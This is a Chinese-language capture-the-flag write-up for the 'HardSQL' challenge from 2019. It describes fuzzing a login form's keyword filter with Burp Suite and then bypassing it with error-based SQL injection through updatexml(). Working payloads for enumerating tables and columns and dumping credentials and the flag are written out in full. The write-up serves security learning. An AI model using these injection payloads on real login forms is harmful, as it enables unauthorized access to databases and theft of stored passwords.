web第24题
[极客大挑战 2019]HardSQL
打开靶场
首先尝试使用单引号
显然页面存在sql注入的
永真式进行登陆
继续尝试order by爆字段
那么说明很多字符都被过滤了
尝试双写进行绕过
依旧是不行
看了很多人的wp,他们都没说清楚如何知道对哪些关键字进行了过滤,直接给出了,我也不知道怎么来的
直接使用burpsuite对其进行fuzz,观察过滤了哪些关键字
参考:利用burpsuit对xss和sql注入进行fuzz
抓包发送至intruder模块
设置payload,网上找的一个字典
攻击
响应为密码错误,说明没有被过滤
相应为此页面,说明被过滤了
得到响应为751的没有被过滤,响应为736的都被过滤了,统计出一些常用的被过滤的符号:空格 ,注释符,and,by,=,sleep,/,~等
那么这个时候的思路就应该是报错注入了
报错注入可以使用很多函数,常用的有floor()函数,extractvalue()函数,updatexml()函数等
这里使用一下我不熟悉的updatexml()函数,参考:updatexml()报错注入
使用()代替空格,使用like代替=,使用^连接函数形成异或
构造注入语句(我是在用户中输入的)
1.查询数据库:
admin'or(updatexml(1,concat(0x7e,database()),1))#
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
得到字段名为id,username,password
4.爆数据
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
知道数据库中第一条数据就是flag
额,好像flag没显示完
原因是报错内容最大字符数为32,后面的就不会再显示
这样,我们可以使用left和right函数先查左边,再查右边,然后拼接在一起就能得到flag
admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
flag{b1642242-538e-42e5-9f94-6
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
2-538e-42e5-9f94-6f52d4694821}
拼接得到flag
flag{b1642242-538e-42e5-9f94-6f52d4694821}
做到这里突然反应过来出了一点小问题,我是在登陆框中使用admin用户然后拼接or语句,这里是因为刚好数据库中不存在admin用户所以我or后面的语句会执行,但是如果存在admin用户后面的语句可能不会执行,正确的做法应该是使用^连接报错函数,形成异或,这样前后两个运算符都会执行,可以看看其他师傅的wp